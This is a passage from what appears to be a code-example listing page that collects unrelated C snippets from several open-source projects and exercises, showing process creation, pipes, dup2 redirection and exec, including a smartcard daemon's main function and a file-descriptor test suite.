		/* Création du fils */
		switch (pid = fork()) {
			case -1 :
				perror ("Fork failed");
				exit (1);
			case 0 :
				/* Fermeture de la sortie du pipe pour le fils */
				close(pipes[i][0]);
				
				/* Redirection de la sortie standard du fils vers l'entrée du pipe */
				dup2(pipes[i][1], 1);
				
				/* Initialisation des paramètres du pipe */
				tick=0;
				numfils=i+1;
				
				/* durant k*DUREE secondes, chaque fils repete :
				- afficher numfils messages
				- s'endormir durant k*numfils secondes (k secondes après chaque message) */
				while(tick<k*DUREE) {
					for(j=0; j<numfils; j++) {
						sprintf(buf, "Temps %d - Fils %d - message  %d\n",tick+j*k, numfils, j);
						write(pipes[i][1], buf, strlen(buf));
						sleep (k);
					}
					tick+=k*numfils;
				}
				exit(0);
			default :
				/* Fermeture de l'entrée du pipe pour le père */
				close(pipes[i][1]);
				
				/* Lecture du pipe non bloquante */
				fcntl(pipes[i][0], F_SETFL, fcntl(pipes[i][0], F_GETFL) | O_NONBLOCK);
				
				/* Enregistrement du pid du fils */
				pids[i] = pid;
			;
		}
	}

	/* pere */
	// Ajout du handler pour la terminaison des fils
	signal(SIGCHLD, handler);
	
	// Tant qu'il y a des fils à traiter
	filsactifs = NBFILS;
	while(filsactifs > 0) {// Pour chaque fils
		for(i = 0; i < NBFILS; i++) {
			
			// Si le fils est encore à traiter
			if(pids[i] >= 0) {
				// Vider le pipe
				bzero(buf, LMAX);
				rd = read(pipes[i][0], &buf, LMAX);
				if(rd > 0) {
					printf("%s", buf);
				}
				// Si le fils viens de terminer
				if(pids[i] == 0) {
					pids[i] = -1;
					close(pipes[i][0]);
					filsactifs--;
				}
			}
		}
	}
}
Exemple #20
0
void
start_command_on_channel(char *command, Channel *ch)
{
  struct external *ext;
  int pid;
  int from[2], to[2];
  static char *path, *oscopepath;

  if (pipe(to) || pipe(from)) { /* get a set of pipes */
    sprintf(error, "%s: can't create pipes", progname);
    perror(error);
    return;
  }

  signal(SIGPIPE, SIG_IGN);

  if ((pid = fork()) > 0) {		/* parent */
    close(to[0]);
    close(from[1]);
  } else if (pid == 0) {		/* child */
    close(to[1]);
    close(from[0]);
    close(0);
    close(1);				/* redirect stdin/out through pipes */
    dup2(to[0], 0);
    dup2(from[1], 1);
    close(to[0]);
    close(from[1]);

    /* XXX add additional environment vars here for sampling rate
     * and number of samples per frame
     */

    if ((oscopepath = getenv("OSCOPEPATH")) == NULL)
      oscopepath = PACKAGE_LIBEXEC_DIR;
    if ((path = malloc(strlen(oscopepath) + 6)) != NULL) {
      sprintf(path,"PATH=%s", oscopepath);
      putenv(path);
      /* putenv() requires buffer to stick around, so no free(),
       * but we're in the child, and about to exec, so no big deal
       */
    }

    execlp("/bin/sh", "sh", "-c", command, NULL);
    sprintf(error, "%s: child can't exec /bin/sh -c \"%s\"",
	    progname, command);
    perror(error);
    exit(1);
  } else {			/* fork error */
    sprintf(error, "%s: can't fork", progname);
    perror(error);
    return;
  }

  ext = malloc(sizeof(struct external));
  if (ext == NULL) {
    fprintf(stderr, "malloc() struct external failed\n");
    return;
  }
  bzero(ext, sizeof(struct external));

  strncpy(ext->signal.savestr, command, sizeof(ext->signal.savestr));
  ext->pid = pid;
  ext->from = from[0];
  ext->to = to[1];

  ext->next = externals;
  externals = ext;

  message(command);

  recall_on_channel(&ext->signal, ch);
}
static int
ExecProc(char *exec, char *dir, int fdin, int fdout, char **argv,
    	 char **envp)
{
    struct iovec iov[2];
    int    pid, nread, errpipe[2], errnum, result;

    /*
     * Create a pipe for child error message.
     */
     
    if (ns_pipe(errpipe) < 0) {
        Ns_Log(Error, "exec: ns_pipe() failed: %s", strerror(errno));
	return -1;
    }

    /*
     * Fork child and read error message (if any).
     */

    pid = ns_fork();
    if (pid < 0) {
        close(errpipe[0]);
        close(errpipe[1]);
        Ns_Log(Error, "exec: ns_fork() failed: %s", strerror(errno));
	return -1;
    }
    iov[0].iov_base = (caddr_t) &result;
    iov[1].iov_base = (caddr_t) &errnum;
    iov[0].iov_len = iov[1].iov_len = sizeof(int);
    if (pid == 0) {

	/*
	 * Setup child and exec the program, writing any error back
	 * to the parent if necessary.
	 */

        close(errpipe[0]);
        if (dir != NULL && chdir(dir) != 0) {
	    result = ERR_CHDIR;
        } else if ((fdin == 1 && (fdin = dup(1)) < 0) ||
    	    	    (fdout == 0 && (fdout = dup(0)) < 0) ||
	    	    (fdin != 0 && dup2(fdin, 0) < 0) ||
    	    	    (fdout != 1 && dup2(fdout, 1) < 0)) {
	    result = ERR_DUP;
	} else {
	    if (fdin > 2) {
		close(fdin);
	    }
	    if (fdout > 2) {
            	close(fdout);
	    }
            NsRestoreSignals();
	    Ns_NoCloseOnExec(0);
	    Ns_NoCloseOnExec(1);
	    Ns_NoCloseOnExec(2);
            execve(exec, argv, envp);
	    /* NB: Not reached on successful execve(). */
	    result = ERR_EXEC;
	}
	errnum = errno;
	(void) writev(errpipe[1], iov, 2);
	_exit(1);
	
    } else {
    
	/*
	 * Read result and errno from the child if any.
	 */

        close(errpipe[1]);
	do {
            nread = readv(errpipe[0], iov, 2);
	} while (nread < 0 && errno == EINTR);
        close(errpipe[0]);
        if (nread == 0) {
	    errnum = 0;
	    result = pid;
	} else {
            if (nread != (sizeof(int) * 2)) {
	    	Ns_Log(Error, "exec: %s: error reading status from child: %s",
			   exec, strerror(errno));
            } else {
		switch (result) {
		    case ERR_CHDIR:
            		Ns_Log(Error, "exec %s: chdir(%s) failed: %s",
				exec, dir, strerror(errnum));
	    		break;
		    case ERR_DUP:
	    		Ns_Log(Error, "exec %s: dup failed: %s",
				exec, strerror(errnum));
	    		break;
		    case ERR_EXEC:
	    		Ns_Log(Error, "exec %s: execve() failed: %s",
				exec, strerror(errnum));
	    		break;
		    default:
	    		Ns_Log(Error, "exec %s: unknown result from child: %d",
				exec, result);
	    		break;
		}
	    }
            (void) waitpid(pid, NULL, 0);
	    errno = errnum;
        }
    }
    return result;
}
Exemple #22
0
void runPrograms(char colourA,char colourB,int n)
{
    char a;
    pid_t pid;
    int rv;
    int parentA[2];    // The four pipes
    int childA[2];

    int parentB[2];
    int childB[2];

    char buffA[50];
    char buffB[50];


    if ( pipe(parentA) || pipe(childA) || pipe(parentB) || pipe(childB) )
    {
        fprintf(stderr, "Pipe error!\n");
        exit(1);
    }

    int i;
    i = pfork(3);

    if ( i == 0 )    // A positive (non-negative) PID indicates the parent process    // parent
    {
        setvbuf(stdout, (char*) NULL, _IONBF, 0);
        int inA, outA;
        inA = parentA[0];
        outA = childA[1];
        close(parentA[1]);
        close(childB[0]);

        int inB, outB;
        inB = parentB[0];
        outB = childB[1];
        close(parentB[1]);
        close(childB[0]);

        write(outA, &colourA, 50);
        write(outB, &colourB, 50);
        sleep(1);
        read (inA, buffA, 50);
        read (inB, buffB, 50);
        printf("%s%s\n", buffA, buffB);
        //write (outB, buff,strlen(buff) + 1);

        /*dup2(commpipeAParent[0], 0); // Replace stdin with the in side of the pipe
           close(commpipeAParent[1]); // Close unused side of pipe (out side) Replace the child fork with a new process
           {
           if (execl("A", "A", NULL) == -1)
           fprintf(stderr, "execl Error!");
           exit(1);
           }*/
    }
    else if ( i == 1 )            // child A
    // A zero PID indicates that this is the child process
    {
        setvbuf(stdout, (char*) NULL, _IONBF, 0);
        int in, out;
        in = childA[0];
        out = parentA[1];
        close(childA[1]);
        close(parentA[0]);

        dup2(in, 0);
        dup2(out, 1);
        //write (out,hi,strlen(hi)+1);
        //read(in, buff, 50);
        //char temp[50];
        //scanf("%s", temp);
        //printf("%s", temp);

        if (execl("A", "A", NULL) == -1)
        fprintf(stderr, "A execl Error!\n");
        exit(1);
        /* dup2(commpipeAParent[1], 1); // Replace stdout with out side of the pipe
           close(commpipeAParent[0]); // Close unused side of pipe (in side)
           setvbuf(stdout, (char*) NULL, _IONBF, 0);  // Set non-buffered output on stdout
         */
    }
    else if ( i == 2 )              // child B
    {
        setvbuf(stdout, (char*) NULL, _IONBF, 0);
        int in, out;
        in = childB[0];
        out = parentB[1];
        close(childB[1]);
        close(parentB[0]);
        dup2(in, 0);
        dup2(out, 1);
        //read(in, buff, 50);
        // write(out, hi, strlen(hi)+1)
        //char temp[50];
        //scanf("%s", temp);
        //printf("%s", temp);

        if (execl("B", "B", NULL) == -1)
        fprintf(stderr, "B execl Error!\n");
        exit(1);
    }


}
Exemple #23
0
int main (int argc, char *argv[])
{
	enum {
		OPT_SERVER,
		OPT_MUTLI_SERVER,
		OPT_DAEMON,
		OPT_VERBOSE,
		OPT_QUIET,
		OPT_SH,
		OPT_CSH,
		OPT_OPTIONS,
		OPT_NO_DETACH,
		OPT_LOG_FILE,
		OPT_VERSION,
		OPT_HELP
	};

	static struct option long_options[] = {
		{ "server", no_argument, NULL, OPT_SERVER },
		{ "multi-server", no_argument, NULL, OPT_MUTLI_SERVER },
		{ "daemon", no_argument, NULL, OPT_DAEMON },
		{ "verbose", no_argument, NULL, OPT_VERBOSE },
		{ "quiet", no_argument, NULL, OPT_QUIET },
		{ "sh", no_argument, NULL, OPT_SH },
		{ "csh", no_argument, NULL, OPT_CSH },
		{ "options", required_argument, NULL, OPT_OPTIONS },
		{ "no-detach", no_argument, NULL, OPT_NO_DETACH },
		{ "log-file", required_argument, NULL, OPT_LOG_FILE },
		{ "version", no_argument, NULL, OPT_VERSION },
		{ "help", no_argument, NULL, OPT_HELP },
		{ NULL, 0, NULL, 0 }
	};
	int long_options_ret;
	int base_argc = 1;

	int usage_ok = 1;
	enum {
		RUN_MODE_NONE,
		RUN_MODE_SERVER,
		RUN_MODE_MULTI_SERVER,
		RUN_MODE_DAEMON
	} run_mode = RUN_MODE_NONE;
	int env_is_csh = 0;
	int log_verbose = 0;
	int log_quiet = 0;
	int no_detach = 0;
	char *config_file = NULL;
	char *log_file = NULL;
	char *home_dir = NULL;
	int have_at_least_one_provider=0;
	FILE *fp_log = NULL;
	int i;
	CK_RV rv;

	dconfig_data_t config;

	const char * CONFIG_SUFFIX = ".conf";
	char *default_config_file = NULL;

#if !defined(HAVE_W32_SYSTEM)
	s_parent_pid = getpid ();
#endif

	if ((default_config_file = (char *)malloc (strlen (PACKAGE)+strlen (CONFIG_SUFFIX)+1)) == NULL) {
		common_log (LOG_FATAL, "malloc failed");
	}
	sprintf (default_config_file, "%s%s", PACKAGE, CONFIG_SUFFIX);

	common_set_log_stream (stderr);

	while ((long_options_ret = getopt_long (argc, argv, "vqsc", long_options, NULL)) != -1) {
		base_argc++;

		switch (long_options_ret) {
			case OPT_SERVER:
				run_mode = RUN_MODE_SERVER;
			break;
			case OPT_MUTLI_SERVER:
				run_mode = RUN_MODE_MULTI_SERVER;
			break;
			case OPT_DAEMON:
				run_mode = RUN_MODE_DAEMON;
			break;
			case OPT_VERBOSE:
			case 'v':
				log_verbose = 1;
			break;
			case OPT_QUIET:
			case 'q':
				log_quiet = 1;
			break;
			case OPT_SH:
			case 's':
			break;
			case OPT_CSH:
			case 'c':
				env_is_csh = 1;
			break;
			case OPT_OPTIONS:
				base_argc++;
				config_file = strdup (optarg);
			break;
			case OPT_NO_DETACH:
				no_detach = 1;
			break;
			case OPT_LOG_FILE:
				base_argc++;
				log_file = strdup (optarg);
			break;
			case OPT_VERSION:
				printf (
					"%s %s\n"
					"\n"
					"Copyright (c) 2006-2007 Zeljko Vrba <*****@*****.**>\n"
					"Copyright (c) 2006-2011 Alon Bar-Lev <*****@*****.**>\n"
					"\n"
					"This is free software; see the source for copying conditions.\n"
					"There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n",
					PACKAGE,
					PACKAGE_VERSION
				);
				exit (1);
			break;
			case OPT_HELP:
				usage_ok = 0;
			break;
			default:
				usage_ok = 0;
			break;
		}
	}

	if (base_argc < argc) {
		if (!strcmp (argv[base_argc], "--")) {
			base_argc++;
		}
	}

	if (!usage_ok) {
		usage (argv[0]);
	}

	if (run_mode == RUN_MODE_NONE) {
		common_log (LOG_FATAL, "please use the option `--daemon' to run the program in the background");
	}

#if defined(HAVE_W32_SYSTEM)
	if (run_mode == RUN_MODE_DAEMON) {
		common_log (LOG_FATAL, "daemon mode is not supported");
	}
#endif

	home_dir = get_home_dir ();

	if (config_file == NULL) {
		if ((config_file = (char *)malloc (strlen (home_dir) + strlen (default_config_file)+2)) == NULL) {
			common_log (LOG_FATAL, "malloc failed");
		}
		sprintf (config_file, "%s%c%s", home_dir, CONFIG_PATH_SEPARATOR, default_config_file);
	}

	if (
		!dconfig_read (config_file, &config) &&
		!dconfig_read (CONFIG_SYSTEM_CONFIG, &config)
	) {
		common_log (LOG_FATAL, "Cannot open configuration file");
	}

	if (log_file != NULL) {
		if (config.log_file != NULL) {
			free (config.log_file);
		}
		if ((config.log_file = strdup (log_file)) == NULL) {
			common_log (LOG_FATAL, "strdup failed");
		}
	}

	if (log_verbose) {
		config.verbose = 1;
	}

#if !defined(HAVE_W32_SYSTEM)
	signal (SIGPIPE, SIG_IGN);
	signal (SIGINT, on_signal);
	signal (SIGTERM, on_signal);
	signal (SIGABRT, on_signal);
	signal (SIGHUP, on_signal);
#endif

	if (log_file != NULL) {
		if (strcmp (log_file, "stderr")) {
			if ((fp_log = fopen (log_file, "a")) != NULL) {
				common_set_log_stream (fp_log);
			}
		}
	}
	else if (config.log_file != NULL) {
		if (strcmp (config.log_file, "stderr")) {
			if ((fp_log = fopen (config.log_file, "a")) != NULL) {
				common_set_log_stream (fp_log);
			}
		}
	}

	if (config.debug) {
		common_log (LOG_DEBUG, "version: %s", PACKAGE_VERSION);
		dconfig_print (&config);
		common_log (LOG_DEBUG, "run_mode: %d", run_mode);
		common_log (LOG_DEBUG, "crypto: %s",
#if defined(ENABLE_OPENSSL)
			"openssl"
#elif defined(ENABLE_GNUTLS)
			"gnutls"
#else
			"invalid"
#endif
		);
	}

#if !defined(HAVE_W32_SYSTEM)
	if (run_mode == RUN_MODE_DAEMON || run_mode == RUN_MODE_MULTI_SERVER) {
		server_socket_create_name ();
	}

	/*
	 * fork before doing PKCS#11 stuff
	 * some providers don't behave well
	 */
	if (run_mode == RUN_MODE_DAEMON) {
		pid_t pid;

		pid = fork ();

		if (pid == -1) {
			common_log (LOG_FATAL, "fork failed");
		}

		if (pid != 0) {
			static const char *key = "SCDAEMON_INFO";
			char env[1024];
			snprintf (env, sizeof (env), "%s:%lu:1", s_socket_name, (unsigned long)pid);

			if (argc - base_argc > 0) {
				setenv(key, env, 1);
				execvp (argv[base_argc], &(argv[base_argc]));
				kill (pid, SIGTERM);
				exit (1);
			}
			else {
				if (env_is_csh) {
					*strchr (env, '=') = ' ';
					printf ("setenv %s %s\n", key, env);
				}
				else {
					printf ("%s=%s; export %s\n", key, env, key);
				}
				exit (0);
			}
		}

		if (!no_detach) {
			int i;

			for (i=0;i<3;i++) {
				if (fileno (common_get_log_stream ()) != i) {
					close (i);
				}
			}

			if (setsid () == -1) {
				common_log (LOG_FATAL, "setsid failed");
			}
		}

		if (chdir ("/") == -1) {
			common_log (LOG_FATAL, "chdir failed");
		}

		if (argc - base_argc > 0) {
			struct sigaction sa;

			memset (&sa, 0, sizeof (sa));
			sigemptyset (&sa.sa_mask);
#if defined(SA_INTERRUPT)
			sa.sa_flags |= SA_INTERRUPT;
#endif
			sa.sa_handler = on_alarm;
			sigaction (SIGALRM, &sa, NULL);
			alarm (10);
		}
	}
#endif				/* HAVE_W32_SYSTEM */

	assuan_set_assuan_log_prefix (PACKAGE);
	assuan_set_assuan_log_stream (common_get_log_stream ());

#if defined(USE_GNUTLS)
	if (gnutls_global_init () != GNUTLS_E_SUCCESS) {
		common_log (LOG_FATAL, "Cannot initialize gnutls");
	}
#endif

	if ((rv = pkcs11h_initialize ()) != CKR_OK) {
		common_log (LOG_FATAL, "Cannot initialize PKCS#11: %s", pkcs11h_getMessage (rv));
	}

	pkcs11h_setLogLevel (config.verbose ? PKCS11H_LOG_DEBUG2 : PKCS11H_LOG_INFO);
	pkcs11h_setLogHook (pkcs11_log_hook, NULL);
	pkcs11h_setTokenPromptHook (pkcs11_token_prompt_hook, NULL);
	pkcs11h_setPINPromptHook (pkcs11_pin_prompt_hook, NULL);
	pkcs11h_setProtectedAuthentication (TRUE);

	for (i=0;i<DCONFIG_MAX_PROVIDERS;i++) {
		if (
			config.providers[i].name != NULL &&
			config.providers[i].library != NULL
		) {
			if (
				(rv = pkcs11h_addProvider (
					config.providers[i].name,
					config.providers[i].library,
					config.providers[i].allow_protected,
					config.providers[i].private_mask,
					PKCS11H_SLOTEVENT_METHOD_POLL,
					0,
					config.providers[i].cert_is_private
				)) != CKR_OK
			) {
				common_log (LOG_WARNING, "Cannot add PKCS#11 provider '%s': %ld-'%s'", config.providers[i].name, rv, pkcs11h_getMessage (rv));
			}
			else {
				have_at_least_one_provider = 1;
			}
		}
	}

	if (!have_at_least_one_provider) {
		common_log (LOG_FATAL, "Could not load any provider");
	}

#if defined(HAVE_W32_SYSTEM)
	command_handler (-1, &config);
#else
{
	pthread_t accept_thread = 0;
	int accept_socket = -1;

	if (run_mode == RUN_MODE_DAEMON || run_mode == RUN_MODE_MULTI_SERVER) {
		accept_socket = server_socket_create ();

		server_socket_accept (accept_socket, &accept_thread, &config);
	}

	if (run_mode == RUN_MODE_DAEMON) {
		/*
		 * Emulate assuan behavior
		 */
		int fds[2];
		char c;
		if (pipe (fds)==-1) {
			common_log (LOG_FATAL, "Could not create pipe");
		}
		close (0);
		dup2 (fds[0], 0);
		close (fds[0]);
		while (read (0, &c, 1) == -1 && errno == EINTR);
		close (fds[1]);
	}
	else {
		command_handler (-1, &config);
	}

	if (run_mode == RUN_MODE_DAEMON || run_mode == RUN_MODE_MULTI_SERVER) {
		server_socket_accept_terminate (accept_thread);
		server_socket_close (accept_socket);
	}
}
#endif

	pkcs11h_terminate ();

#if defined(USE_GNUTLS)
	gnutls_global_deinit ();
#endif

	dconfig_free (&config);

	if (log_file != NULL) {
		free (log_file);
		log_file = NULL;
	}

	if (config_file != NULL) {
		free (config_file);
		config_file = NULL;
	}

	if (default_config_file != NULL) {
		free (default_config_file);
		default_config_file = NULL;
	}

	if (home_dir != NULL) {
		free (home_dir);
		home_dir = NULL;
	}

	if (fp_log != NULL) {
		fclose (fp_log);
		fp_log = NULL;
	}

	return 0;
}
Exemple #24
0
/* XXX Non standard functions below
 */
LispObj *
Lisp_MakePipe(LispBuiltin *builtin)
/*
 make-pipe command-line &key :direction :element-type :external-format
 */
{
    char *string;
    LispObj *stream = NIL;
    int flags, direction;
    LispFile *error_file;
    LispPipe *program;
    int ifd[2];
    int ofd[2];
    int efd[2];
    char *argv[4];

    LispObj *command_line, *odirection, *element_type, *external_format;

    external_format = ARGUMENT(3);
    element_type = ARGUMENT(2);
    odirection = ARGUMENT(1);
    command_line = ARGUMENT(0);

    if (PATHNAMEP(command_line))
	command_line = CAR(command_line->data.quote);
    else if (!STRINGP(command_line))
	LispDestroy("%s: %s is a bad pathname",
		    STRFUN(builtin), STROBJ(command_line));

    if (odirection != UNSPEC) {
	direction = -1;
	if (KEYWORDP(odirection)) {
	    if (odirection == Kprobe)
		direction = DIR_PROBE;
	    else if (odirection == Kinput)
		direction = DIR_INPUT;
	    else if (odirection == Koutput)
		direction = DIR_OUTPUT;
	    else if (odirection == Kio)
		direction = DIR_IO;
	}
	if (direction == -1)
	    LispDestroy("%s: bad :DIRECTION %s",
			STRFUN(builtin), STROBJ(odirection));
    }
    else
	direction = DIR_INPUT;

    if (element_type != UNSPEC) {
	/* just check argument... */
	if (SYMBOLP(element_type) && ATOMID(element_type) == Scharacter)
	    ;	/* do nothing */
	else if (KEYWORDP(element_type) && ATOMID(element_type) == Sdefault)
	    ;	/* do nothing */
	else
	    LispDestroy("%s: only :%s and %s supported for :ELEMENT-TYPE, not %s",
			STRFUN(builtin), Sdefault, Scharacter, STROBJ(element_type));
    }

    if (external_format != UNSPEC) {
	/* just check argument... */
	if (SYMBOLP(external_format) && ATOMID(external_format) == Scharacter)
	    ;	/* do nothing */
	else if (KEYWORDP(external_format) &&
		 ATOMID(external_format) == Sdefault)
	    ;	/* do nothing */
	else
	    LispDestroy("%s: only :%s and %s supported for :EXTERNAL-FORMAT, not %s",
			STRFUN(builtin), Sdefault, Scharacter, STROBJ(external_format));
    }

    string = THESTR(command_line);
    program = LispMalloc(sizeof(LispPipe));
    if (direction != DIR_PROBE) {
	argv[0] = "sh";
	argv[1] = "-c";
	argv[2] = string;
	argv[3] = NULL;
	pipe(ifd);
	pipe(ofd);
	pipe(efd);
	if ((program->pid = fork()) == 0) {
	    close(0);
	    close(1);
	    close(2);
	    dup2(ofd[0], 0);
	    dup2(ifd[1], 1);
	    dup2(efd[1], 2);
	    close(ifd[0]);
	    close(ifd[1]);
	    close(ofd[0]);
	    close(ofd[1]);
	    close(efd[0]);
	    close(efd[1]);
	    execve("/bin/sh", argv, environ);
	    exit(-1);
	}
	else if (program->pid < 0)
	    LispDestroy("%s: fork: %s", STRFUN(builtin), strerror(errno));

	program->input = LispFdopen(ifd[0], FILE_READ | FILE_UNBUFFERED);
	close(ifd[1]);
	program->output = LispFdopen(ofd[1], FILE_WRITE | FILE_UNBUFFERED);
	close(ofd[0]);
	error_file = LispFdopen(efd[0], FILE_READ | FILE_UNBUFFERED);
	close(efd[1]);
    }
    else {
	program->pid = -1;
	program->input = program->output = error_file = NULL;
    }

    flags = direction == DIR_PROBE ? 0 : STREAM_READ;
    program->errorp = FILESTREAM(error_file, command_line, flags);

    flags = 0;
    if (direction != DIR_PROBE) {
	if (direction == DIR_INPUT || direction == DIR_IO)
	    flags |= STREAM_READ;
	if (direction == DIR_OUTPUT || direction == DIR_IO)
	    flags |= STREAM_WRITE;
    }
    stream = PIPESTREAM(program, command_line, flags);
    LispMused(program);

    return (stream);
}
Exemple #25
0
    int
main(int argc, char *argv[])
{
    EPCAP_STATE *ep = NULL;
    pid_t pid = 0;
    int ch = 0;
    int fd = 0;


    IS_NULL(ep = calloc(1, sizeof(EPCAP_STATE)));

    ep->snaplen = SNAPLEN;
    ep->timeout = TIMEOUT;

    while ( (ch = getopt(argc, argv, "d:f:g:hi:MPs:t:u:v")) != -1) {
        switch (ch) {
            case 'd':   /* chroot directory */
                IS_NULL(ep->chroot = strdup(optarg));
                break;
            case 'f':
                IS_NULL(ep->file = strdup(optarg));
                ep->runasuser = 1;
                break;
            case 'g':
                IS_NULL(ep->group = strdup(optarg));
                break;
            case 'i':
                IS_NULL(ep->dev = strdup(optarg));
                break;
            case 'M':
                ep->rfmon = 1;
                break;
            case 'P':
                ep->promisc = 1;
                break;
            case 's':
                ep->snaplen = (size_t)atoi(optarg);
                break;
            case 't':
                ep->timeout = (u_int32_t)atoi(optarg);
                break;
            case 'u':
                IS_NULL(ep->user = strdup(optarg));
                break;
            case 'v':
                ep->verbose++;
                break;
            case 'h':
            default:
                usage(ep);
        }
    }

    argc -= optind;
    argv += optind;

    IS_NULL(ep->filt = strdup( (argc == 1) ? argv[0] : EPCAP_FILTER));

    IS_LTZERO(fd = open("/dev/null", O_RDWR));

    epcap_priv_issetuid(ep);
    IS_LTZERO(epcap_open(ep));
    if (epcap_priv_drop(ep) < 0)
        exit (1);

    signal(SIGCHLD, gotsig);

    switch (pid = fork()) {
        case -1:
            err(EXIT_FAILURE, "fork");
        case 0:
            IS_LTZERO(dup2(fd, STDIN_FILENO));
            IS_LTZERO(close(fd));
            IS_LTZERO(epcap_init(ep));
            IS_LTZERO(epcap_priv_rlimits(EPCAP_RLIMIT_NOFILES));
            epcap_loop(ep);
            break;
        default:
            if ( (dup2(fd, STDOUT_FILENO) < 0) ||
                (close(fd) < 0))
                goto CLEANUP;

            pcap_close(ep->p);

            if (epcap_priv_rlimits(0) < 0)
                goto CLEANUP;

            epcap_watch();

CLEANUP:
            (void)kill(pid, SIGTERM);
            break;
    }

    exit (0);
}
Exemple #26
0
static void
vfstest_fd(void)
{
#define FD_BUFSIZE 5
#define BAD_FD 20
#define HUGE_FD 9999

        int fd1, fd2;
        char buf[FD_BUFSIZE];
        struct dirent d;

        syscall_success(mkdir("fd", 0));
        syscall_success(chdir("fd"));

        /* read/write/close/getdents/dup nonexistent file descriptors */
        syscall_fail(read(BAD_FD, buf, FD_BUFSIZE), EBADF);
        syscall_fail(read(HUGE_FD, buf, FD_BUFSIZE), EBADF);
        syscall_fail(read(-1, buf, FD_BUFSIZE), EBADF);

        syscall_fail(write(BAD_FD, buf, FD_BUFSIZE), EBADF);
        syscall_fail(write(HUGE_FD, buf, FD_BUFSIZE), EBADF);
        syscall_fail(write(-1, buf, FD_BUFSIZE), EBADF);

        syscall_fail(close(BAD_FD), EBADF);
        syscall_fail(close(HUGE_FD), EBADF);
        syscall_fail(close(-1), EBADF);

        syscall_fail(lseek(BAD_FD, 0, SEEK_SET), EBADF);
        syscall_fail(lseek(HUGE_FD, 0, SEEK_SET), EBADF);
        syscall_fail(lseek(-1, 0, SEEK_SET), EBADF);

        syscall_fail(getdents(BAD_FD, &d, sizeof(d)), EBADF);
        syscall_fail(getdents(HUGE_FD, &d, sizeof(d)), EBADF);
        syscall_fail(getdents(-1, &d, sizeof(d)), EBADF);

        syscall_fail(dup(BAD_FD), EBADF);
        syscall_fail(dup(HUGE_FD), EBADF);
        syscall_fail(dup(-1), EBADF);

        syscall_fail(dup2(BAD_FD, 10), EBADF);
        syscall_fail(dup2(HUGE_FD, 10), EBADF);
        syscall_fail(dup2(-1, 10), EBADF);

        /* dup2 has some extra cases since it takes a second fd */
        syscall_fail(dup2(0, HUGE_FD), EBADF);
        syscall_fail(dup2(0, -1), EBADF);

        /* if the fds are equal, but the first is invalid or out of the
         * allowed range */
        syscall_fail(dup2(BAD_FD, BAD_FD), EBADF);
        syscall_fail(dup2(HUGE_FD, HUGE_FD), EBADF);
        syscall_fail(dup2(-1, -1), EBADF);

        /* dup works properly in normal usage */
        create_file("file01");
        syscall_success(fd1 = open("file01", O_RDWR, 0));
        syscall_success(fd2 = dup(fd1));
        test_assert(fd1 < fd2, "dup(%d) returned %d", fd1, fd2);
        syscall_success(write(fd2, "hello", 5));
        test_fpos(fd1, 5); test_fpos(fd2, 5);
        syscall_success(lseek(fd2, 0, SEEK_SET));
        test_fpos(fd1, 0); test_fpos(fd2, 0);
        read_fd(fd1, 5, "hello");
        test_fpos(fd1, 5); test_fpos(fd2, 5);
        syscall_success(close(fd2));

        /* dup2 works properly in normal usage */
        syscall_success(fd2 = dup2(fd1, 10));
        test_assert(10 == fd2, "dup2(%d, 10) returned %d", fd1, fd2);
        test_fpos(fd1, 5); test_fpos(fd2, 5);
        syscall_success(lseek(fd2, 0, SEEK_SET));
        test_fpos(fd1, 0); test_fpos(fd2, 0);
        syscall_success(close(fd2));

        /* dup2-ing a file to itself works */
        syscall_success(fd2 = dup2(fd1, fd1));
        test_assert(fd1 == fd2, "dup2(%d, %d) returned %d", fd1, fd1, fd2);
        syscall_success(close(fd2));

        /* dup2 closes previous file */
        int fd3;
        create_file("file02");
        syscall_success(fd3 = open("file02", O_RDWR, 0));
        syscall_success(fd2 = dup2(fd1, fd3));
        test_assert(fd2 == fd3, "dup2(%d, %d) returned %d", fd1, fd3, fd2);
        test_fpos(fd1, 0); test_fpos(fd2, 0);
        syscall_success(lseek(fd2, 5, SEEK_SET));
        test_fpos(fd1, 5); test_fpos(fd2, 5);

        syscall_success(chdir(".."));
}
Exemple #27
0
int main( int argc, char **argv )
{
  int i;
  int use_sudo=0;
  int help=0, version=0;
  int create_log=TD_LOG_NONE;
  int run_setlocale=1;
  int testdisk_mode=TESTDISK_O_RDONLY|TESTDISK_O_READAHEAD_32K;
  list_disk_t *list_disk=NULL;
  list_disk_t *element_disk;
  const char *logfile="photorec.log";
  FILE *log_handle=NULL;
  struct ph_options options={
    .paranoid=1,
    .keep_corrupted_file=0,
    .mode_ext2=0,
    .expert=0,
    .lowmem=0,
    .verbose=0,
    .list_file_format=list_file_enable
  };
  struct ph_param params;
  params.recup_dir=NULL;
  params.cmd_device=NULL;
  params.cmd_run=NULL;
  /* random (weak is ok) is need fot GPT */
  srand(time(NULL));
#ifdef HAVE_SIGACTION
  /* set up the signal handler for SIGINT & SIGHUP */
  sigemptyset(&action.sa_mask);
  sigaddset(&action.sa_mask, SIGINT);
  sigaddset(&action.sa_mask, SIGHUP);
  action.sa_handler  = sighup_hdlr;
  action.sa_flags = 0;
  if(sigaction(SIGINT, &action, NULL)==-1)
  {
    printf("Error on SIGACTION call\n");
    return -1;
  }
  if(sigaction(SIGHUP, &action, NULL)==-1)
  {
    printf("Error on SIGACTION call\n");
    return -1;
  }
#endif
  printf("PhotoRec %s, Data Recovery Utility, %s\nChristophe GRENIER <*****@*****.**>\nhttp://www.cgsecurity.org\n",VERSION,TESTDISKDATE);
  for(i=1;i<argc;i++)
  {
    if((strcmp(argv[i],"/logname")==0) ||(strcmp(argv[i],"-logname")==0))
    {
      if(i+2>=argc)
	help=1;
      else
	logfile=argv[++i];
    }
    else if((strcmp(argv[i],"/log")==0) ||(strcmp(argv[i],"-log")==0))
    {
      if(create_log==TD_LOG_NONE)
        create_log=TD_LOG_APPEND;
    }
    else if((strcmp(argv[i],"/debug")==0) || (strcmp(argv[i],"-debug")==0))
    {
      options.verbose++;
      if(create_log==TD_LOG_NONE)
        create_log=TD_LOG_APPEND;
    }
    else if(((strcmp(argv[i],"/d")==0)||(strcmp(argv[i],"-d")==0)) &&(i+1<argc))
    {
      int len=strlen(argv[i+1]);
      if(argv[i+1][len-1]=='\\' || argv[i+1][len-1]=='/')
      {
        params.recup_dir=(char *)MALLOC(len + strlen(DEFAULT_RECUP_DIR) + 1);
        strcpy(params.recup_dir,argv[i+1]);
        strcat(params.recup_dir,DEFAULT_RECUP_DIR);
      }
      else
